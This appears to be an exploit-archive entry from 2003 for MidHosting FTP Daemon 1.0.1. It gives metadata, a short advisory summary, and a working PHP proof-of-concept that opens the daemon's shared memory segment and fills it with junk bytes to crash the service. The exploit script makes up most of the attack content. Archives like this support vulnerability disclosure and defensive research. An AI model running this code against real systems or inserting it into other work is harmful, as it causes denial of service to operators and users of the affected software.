MidHosting FTP Daemon 1.0.1 - Shared Memory Local Denial of Service

Author: Frank DENIS
type: dos
platform: linux
port: 0
date_added: 2003-06-18
date_updated: 2012-11-18
verified: 1
codes: OSVDB-2182
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/7956/info

It has been reported that MidHosting FTP Daemon does not properly implement shared memory when the m flag (-m) is enabled. Because of this, an attacker could corrupt process memory, causing the service to crash.

<?php
# mhftpd denial of service

define('SHMSIZE', 16384);

if (($shmid = shmop_open(ftok('/tmp', 'U'), 'w', 0777, SHMSIZE)) == -1) {
die();
}
shmop_write($shmid, str_repeat('A', SHMSIZE), 0);

?>